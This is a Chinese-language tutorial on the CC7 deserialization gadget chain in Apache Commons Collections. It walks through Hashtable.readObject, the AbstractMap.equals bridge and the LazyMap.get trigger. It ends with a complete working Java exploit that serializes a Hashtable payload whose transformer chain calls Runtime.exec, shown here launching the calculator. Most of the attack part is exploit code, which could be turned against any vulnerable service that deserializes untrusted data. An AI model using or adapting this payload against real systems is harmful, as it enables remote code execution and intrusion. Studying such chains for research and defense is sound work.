CC7链

CC7

cc7与cc5大同小异,也是后面部分不变,变的只是入口的地方

CC7攻击链分析

思路分析

cc7这里的入口点使用了Hashtable

这里我们简单分析一下,入口类是HashtablereadObject,调用本身的reconstitutionPut方法,进入reconstitutionPut看一下(这里我们不分析怎么找到的可以利用的点),这里我们要调用equals方法,我们需要找到一个类的equals方法可以利用

AbstractMap.equals中存在m.get方法,就可以接上之前的LazyMap.get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Hashtable.readObject
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
{
......
reconstitutionPut(table, key, value);
}
}

//Hashtable.reconstitutionPut
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
......
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
......
}

下面是这两个类的继承关系,后面的话会根据这两个地方进行做文章,因为逆向流程不太好讲,我们这里从正向开始分析

1
2
3
4
5
6
//LazyMap
public class LazyMap
extends AbstractMapDecorator

//HashMap
public class HashMap<K,V> extends AbstractMap<K,V>

AbstractMapDecorator#equals

当我们在reconstitutionPut中调用e.key.equals(key)时,我们想让这里调用LazyMap.equals,但实际上LazyMap并不存在equals方法,因此会找到他的父类AbstractMapDecorator,调用它的equals方法

并不是AbstractMapDecoratorequals有问题,而是当作一个桥梁去调用AbstractMapequals方法

1
2
3
4
5
6
7
//AbstractMapDecorator.equals
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}

AbstractMap#equals

AbstractMapDecorator.equals方法中,也调用了map.equals(object),这次这里我们想让他调用HashMap.equals

但因为HashMap中没有equals方法,会寻找它的父类AbstractMap,调用父类的equals方法,在该方法中存在m.get(key),可以调用LazyMap.get方法,相信这里都不陌生了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// AbstractMap.equals
public boolean equals(Object o) {
......
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
......
}

小结

最后顺一下,是要调用LazyMapequals方法,然后LazyMap中没有equals方法,就会调用它的父类AbstractMapDecoratorequals方法,其中map.equals(object),m是我们一个HashMap,但是HashMap并没有equals方法,所以还是找到其父类AbstractMap,去调用他的equals方法,从而调用LazyMapget方法

调整

put两次

如果Hashtable中只有一个元素的话是不会走入判断的调用equals方法的,我们就可以通过Hashtable添加两个元素,第二个元素的我们传入一个我们构造的LazyMap对象

另一个是我们在最开始Hashtable.reconstitutionPut()方法中的必须hash相同(yso里面给出的是’yy’和’zZ’),也就是hash碰撞问题

应该是下面这段代码的原因,比较之前的参数的hash与当前参数的hash,相同才会走进&&后的判断

1
2
3
4
5
6

for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}

还有一个是我们AbstractMap.equals()中个数需要相同。

1
2
if (m.size() != size())
return false;

在 map2 中remove掉 yy

这是因为 `HashTable.put()` 实际上也会调用到 `equals()` 方法:

当调用完 equals() 方法后,LazyMap2 的 key 中就会增加一个 yy 键:

put时弹计算器

虽然这不影响我们的序列化,但是总归是不好的,需要修改一下

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.review;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
lazyMap2.put("zZ", 1);


Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");

Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field iTransformers = chainedTransformerClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);


serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}